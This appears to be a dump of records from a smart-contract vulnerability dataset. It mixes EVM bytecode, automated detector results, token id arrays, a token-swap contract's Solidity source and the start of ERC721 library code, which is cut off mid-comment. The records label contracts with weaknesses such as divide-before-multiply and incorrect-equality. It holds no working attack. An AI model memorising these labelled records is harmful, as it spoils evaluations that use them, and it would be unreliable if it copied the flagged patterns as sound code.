0206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610609565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906110419084906119ef565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108d91815260200190565b60405180910390a35b50505050565b6000806110a8836111c8565b6008546001600160a01b038616600090815260096020908152604080832093909355600a54600b825283832055600c9052908120805493955091935084926110f19084906119ef565b90915550506001600160a01b0383166000908152600c60205260408120805483929061111e9084906119ef565b9091555050505050565b6040516001600160a01b03831660248201526044810182905261118b90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611616565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526110969085906323b872dd60e01b90608401611154565b6000806c0c9f2c9cd04674edea400000006111f8846001600160a01b031660009081526020819052604090205490565b6001600160a01b03851660009081526009602052604090205460085461121e9190611a48565b6112289190611a29565b6112329190611a07565b6001600160a01b038416600090815260076020908152604080832054600b90925290912054600a549294506c0c9f2c9cd04674edea40000000926112769190611a48565b6112809190611a29565b61128a9190611a07565b9050915091565b6001600160a01b0382166112f15760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610609565b6112fd826000836114d6565b6001600160a01b038216600090815260208190526040902054818110156113715760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610609565b6001600160a01b03831660009081526020819052604081208383039055600280548492906113a0908490611a48565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b6001600160a01b0382166114415760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610609565b61144d600083836114d6565b806002600082825461145f91906119ef565b90915550506001600160a01b0382166000908152602081905260408120805483929061148c9084906119ef565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038316156114ee576114ee8361109c565b6001600160a01b03821615611506576115068261109c565b600d546001600160a01b0384166000908152600f6020526040902054429161152d916119ef565b11801561155a57506001600160a01b038083166000908152600f6020526040808220549286168252902054115b1561118b576001600160a01b03821660009081526011602052604090205460ff16156115ee5760405162461bcd60e51b815260206004820152603760248201527f54686520726563697069656e7420646f6573206e6f7420616772656520746f2060448201527f61636365707420746865206c6f636b65642066756e64730000000000000000006064820152608401610609565b6001600160a01b038084166000908152600f6020526040808220549285168252902055505050565b600061166b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166116e89092919063ffffffff16565b80519091501561118b578080602001905181019061168991906118e0565b61118b5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610609565b6060610896848460008585843b6117415760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610609565b600080866001600160a01b0316858760405161175d919061192f565b60006040518083038185875af1925050503d806000811461179a576040519150601f19603f3d011682016040523d82523d6000602084013e61179f565b606091505b50915091506117af8282866117ba565b979650505050505050565b606083156117c9575081610625565b8251156117d95782518084602001fd5b8160405162461bcd60e51b8152600401610609919061194b565b80356001600160a01b038116811461180a57600080fd5b919050565b60006020828403121561182157600080fd5b610625826117f3565b6000806040838503121561183d57600080fd5b611846836117f3565b9150611854602084016117f3565b90509250929050565b60008060006060848603121561187257600080fd5b61187b846117f3565b9250611889602085016117f3565b9150604084013590509250925092565b600080604083850312156118ac57600080fd5b6118b5836117f3565b946020939093013593505050565b6000602082840312156118d557600080fd5b813561062581611adc565b6000602082840312156118f257600080fd5b815161062581611adc565b60006020828403121561190f57600080fd5b5035919050565b60006020828403121561192857600080fd5b5051919050565b60008251611941818460208701611a5f565b9190910192915050565b602081526000825180602084015261196a816040850160208701611a5f565b601f01601f19169190910160400192915050565b60208082526029908201527f54686520616374696f6e2069732073757370656e6465642064756520746f207460408201526806865206c6f636b75760bc1b606082015260800190565b6020808252600e908201526d416d6f756e74206973207a65726f60901b604082015260600190565b60008219821115611a0257611a02611ac6565b500190565b600082611a2457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4357611a43611ac6565b500290565b600082821015611a5a57611a5a611ac6565b500390565b60005b83811015611a7a578181015183820152602001611a62565b838111156110965750506000910152565b600181811c90821680611a9f57607f821691505b60208210811415611ac057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8015158114610a4b57600080fdfea26469706673582212209908360c5f827822f17d695dd790dd5c9756c700e0edc1d7bc0c3a36500e2b1764736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "name-reused", "impact": "High", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'name-reused', 'impact': 'High', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 8270, 2629, 2546, 2683, 2629, 2094, 2509, 2278, 11329, 16048, 27814, 2487, 2278, 22025, 2683, 24594, 21486, 2278, 2692, 2094, 14526, 2692, 24434, 2575, 2546, 2683, 2546, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1008, 2002, 12863, 1008, 9385, 1006, 1039, 1007, 25682, 2002, 12863, 8778, 1008, 1008, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1008, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 2236, 2270, 6105, 2004, 2405, 2011, 1008, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,613
0x956c0fbd40eeee54da532dd9705e271135749462
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; // TattooMoney.io TattooMoney Token SWAP Contract // // USE ONLY OWN WALLET (Metamask, TrustWallet, Trezor, Ledger...) // DO NOT DO DIRECT SEND OR FROM EXCHANGES OR ANY SERVICES // // Use ONLY ETH network, ERC20 TAT2 tokens (Not Binance/Tron/whatever!) // // Set approval to contract address before using swap! // // DO NOT SEND ANY TOKENS DIRECTLY - THEY WILL BE GONE FOREVER! // // Use swap function! import "./interfaces.sol"; contract TattooMoneyV1toV2SWAP { // addresses of tokens address public immutable newtat2; uint8 public constant newtat2decimals = 18; address public immutable oldtat2; uint8 public constant oldtat2decimals = 6; address public owner; address public newOwner; string constant ERR_TRANSFER = "Token transfer failed"; event Swapped(address indexed sender, uint256 indexed amount, uint256 indexed newamount); event Tokens(uint256 indexed amount); event Burned(uint256 indexed amount); /** Contract constructor @param _owner adddress of contract owner @param _oldtat2 adddress of old contract @param _newtat2 adddress of new contract */ constructor( address _owner, address _oldtat2, address _newtat2 ) { owner = _owner; oldtat2 = _oldtat2; newtat2 = _newtat2; /** mainnet: oldTAT2=0x960773318c1aeab5da6605c49266165af56435fa; // Old Token SmartContract newTAT2=0xb487d0328b109e302b9d817b6f46Cbd738eA08C2; // new Token SmartContract */ } /** Get NEW TAT2, use approve/transferFrom @param amount number of old TAT2 */ function swap(uint256 amount) external { uint8 decimals = newtat2decimals - oldtat2decimals; uint256 newamount = amount * (10 ** decimals); require( INterfaces(oldtat2).transferFrom(msg.sender, address(this), amount), ERR_TRANSFER ); require( INterfaces(newtat2).transfer(msg.sender, newamount), ERR_TRANSFER ); emit Swapped(msg.sender, amount, newamount); } modifier onlyOwner() { require(msg.sender == owner, "Only for contract Owner"); _; } /// Let's burn OLD tokens function burn() external onlyOwner { uint256 amt = INterfaces(oldtat2).balanceOf(address(this)); emit Tokens(amt); require( INterfaces(oldtat2).transfer(address(0), amt), ERR_TRANSFER ); emit Burned(amt); } /// we can recover any ERC20 function recoverErc20(address token) external onlyOwner { uint256 amt = INterfaces(token).balanceOf(address(this)); if (amt > 0) { INterfacesNoR(token).transfer(owner, amt); // use broken ERC20 to ignore return value } } /// be preapared for everything, ETH recovery function recoverEth() external onlyOwner { payable(owner).transfer(address(this).balance); } function changeOwner(address _newOwner) external onlyOwner { newOwner = _newOwner; } function acceptOwnership() external { require( msg.sender != address(0) && msg.sender == newOwner, "Only NewOwner" ); newOwner = address(0); owner = msg.sender; } } // by Patrick
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063913b7f4711610071578063913b7f471461014557806394b918de14610163578063a6f9dae11461017f578063b95e099e1461019b578063bcdb446b146101b7578063d4ee1d90146101c1576100b4565b806344df8e70146100b95780634d9f8696146100c35780635bc42b29146100e15780635d851d2a146100ff57806379ba50971461011d5780638da5cb5b14610127575b600080fd5b6100c16101df565b005b6100cb61049f565b6040516100d89190610e81565b60405180910390f35b6100e96104c3565b6040516100f69190610f5e565b60405180910390f35b6101076104c8565b6040516101149190610f5e565b60405180910390f35b6101256104cd565b005b61012f61061a565b60405161013c9190610e81565b60405180910390f35b61014d61063e565b60405161015a9190610e81565b60405180910390f35b61017d60048036038101906101789190610d7b565b610662565b005b61019960048036038101906101949190610d21565b610926565b005b6101b560048036038101906101b09190610d21565b6109f8565b005b6101bf610bb0565b005b6101c9610ca7565b6040516101d69190610e81565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461026d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026490610f1e565b60405180910390fd5b60007f000000000000000000000000960773318c1aeab5da6605c49266165af56435fa73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102c89190610e81565b602060405180830381600087803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031a9190610da8565b9050807f953c8133f2dc65f419649e37a0a78baae6516941edfecdc94ba79b054502c1b460405160405180910390a27f000000000000000000000000960773318c1aeab5da6605c49266165af56435fa73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000836040518363ffffffff1660e01b81526004016103a5929190610ed3565b602060405180830381600087803b1580156103bf57600080fd5b505af11580156103d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f79190610d4e565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c656400000000000000000000008152509061046e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104659190610efc565b60405180910390fd5b50807fd83c63197e8e676d80ab0122beba9a9d20f3828839e9a1d6fe81d242e9cd7e6e60405160405180910390a250565b7f000000000000000000000000b487d0328b109e302b9d817b6f46cbd738ea08c281565b600681565b601281565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156105575750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058d90610f3e565b60405180910390fd5b6000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000960773318c1aeab5da6605c49266165af56435fa81565b6000600660126106729190611160565b9050600081600a6106839190610fe8565b8361068e9190611106565b90507f000000000000000000000000960773318c1aeab5da6605c49266165af56435fa73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b81526004016106ed93929190610e9c565b602060405180830381600087803b15801561070757600080fd5b505af115801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f9190610d4e565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c65640000000000000000000000815250906107b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ad9190610efc565b60405180910390fd5b507f000000000000000000000000b487d0328b109e302b9d817b6f46cbd738ea08c273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610812929190610ed3565b602060405180830381600087803b15801561082c57600080fd5b505af1158015610840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190610d4e565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c65640000000000000000000000815250906108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d29190610efc565b60405180910390fd5b5080833373ffffffffffffffffffffffffffffffffffffffff167f3a9a9f34f5831e9c8ecb66ab3aa308b2ff31eaca434615f6c9cadc656a9af71c60405160405180910390a4505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90610f1e565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90610f1e565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610ac19190610e81565b602060405180830381600087803b158015610adb57600080fd5b505af1158015610aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b139190610da8565b90506000811115610bac578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610b79929190610ed3565b600060405180830381600087803b158015610b9357600080fd5b505af1158015610ba7573d6000803e3d6000fd5b505050505b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3590610f1e565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ca4573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081359050610cdc816112c0565b92915050565b600081519050610cf1816112d7565b92915050565b600081359050610d06816112ee565b92915050565b600081519050610d1b816112ee565b92915050565b600060208284031215610d3757610d3661124b565b5b6000610d4584828501610ccd565b91505092915050565b600060208284031215610d6457610d6361124b565b5b6000610d7284828501610ce2565b91505092915050565b600060208284031215610d9157610d9061124b565b5b6000610d9f84828501610cf7565b91505092915050565b600060208284031215610dbe57610dbd61124b565b5b6000610dcc84828501610d0c565b91505092915050565b610dde81611194565b82525050565b6000610def82610f79565b610df98185610f84565b9350610e098185602086016111e9565b610e1281611250565b840191505092915050565b6000610e2a601783610f84565b9150610e358261126e565b602082019050919050565b6000610e4d600d83610f84565b9150610e5882611297565b602082019050919050565b610e6c816111d2565b82525050565b610e7b816111dc565b82525050565b6000602082019050610e966000830184610dd5565b92915050565b6000606082019050610eb16000830186610dd5565b610ebe6020830185610dd5565b610ecb6040830184610e63565b949350505050565b6000604082019050610ee86000830185610dd5565b610ef56020830184610e63565b9392505050565b60006020820190508181036000830152610f168184610de4565b905092915050565b60006020820190508181036000830152610f3781610e1d565b9050919050565b60006020820190508181036000830152610f5781610e40565b9050919050565b6000602082019050610f736000830184610e72565b92915050565b600081519050919050565b600082825260208201905092915050565b6000808291508390505b6001851115610fdf57808604811115610fbb57610fba61121c565b5b6001851615610fca5780820291505b8081029050610fd885611261565b9450610f9f565b94509492505050565b6000610ff3826111d2565b9150610ffe836111dc565b925061102b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611033565b905092915050565b60008261104357600190506110ff565b8161105157600090506110ff565b81600181146110675760028114611071576110a0565b60019150506110ff565b60ff8411156110835761108261121c565b5b8360020a91508482111561109a5761109961121c565b5b506110ff565b5060208310610133831016604e8410600b84101617156110d55782820a9050838111156110d0576110cf61121c565b5b6110ff565b6110e28484846001610f95565b925090508184048111156110f9576110f861121c565b5b81810290505b9392505050565b6000611111826111d2565b915061111c836111d2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156111555761115461121c565b5b828202905092915050565b600061116b826111dc565b9150611176836111dc565b9250828210156111895761118861121c565b5b828203905092915050565b600061119f826111b2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112075780820151818401526020810190506111ec565b83811115611216576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f6e6c7920666f7220636f6e7472616374204f776e6572000000000000000000600082015250565b7f4f6e6c79204e65774f776e657200000000000000000000000000000000000000600082015250565b6112c981611194565b81146112d457600080fd5b50565b6112e0816111a6565b81146112eb57600080fd5b50565b6112f7816111d2565b811461130257600080fd5b5056fea26469706673582212206a79922d2e8889c1f46485ada6e2252dfb7e450959b80055e6f189cd5bdb41e364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26976, 2278, 2692, 26337, 2094, 12740, 4402, 4402, 27009, 2850, 22275, 2475, 14141, 2683, 19841, 2629, 2063, 22907, 14526, 19481, 2581, 26224, 21472, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 1013, 1013, 11660, 8202, 3240, 1012, 22834, 11660, 8202, 3240, 19204, 19948, 3206, 1013, 1013, 1013, 1013, 2224, 2069, 2219, 15882, 1006, 18804, 9335, 2243, 1010, 3404, 9628, 3388, 1010, 29461, 6844, 2099, 1010, 27106, 1012, 1012, 1012, 1007, 1013, 1013, 2079, 2025, 2079, 3622, 4604, 2030, 2013, 15800, 2030, 2151, 2578, 1013, 1013, 1013, 1013, 2224, 2069, 3802, 2232, 2897, 1010, 9413, 2278, 11387, 11937, 2102, 2475, 19204, 2015, 1006, 2025, 8026, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,614
0x956c3450980b54cff04eb503389f2e9347644996
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See 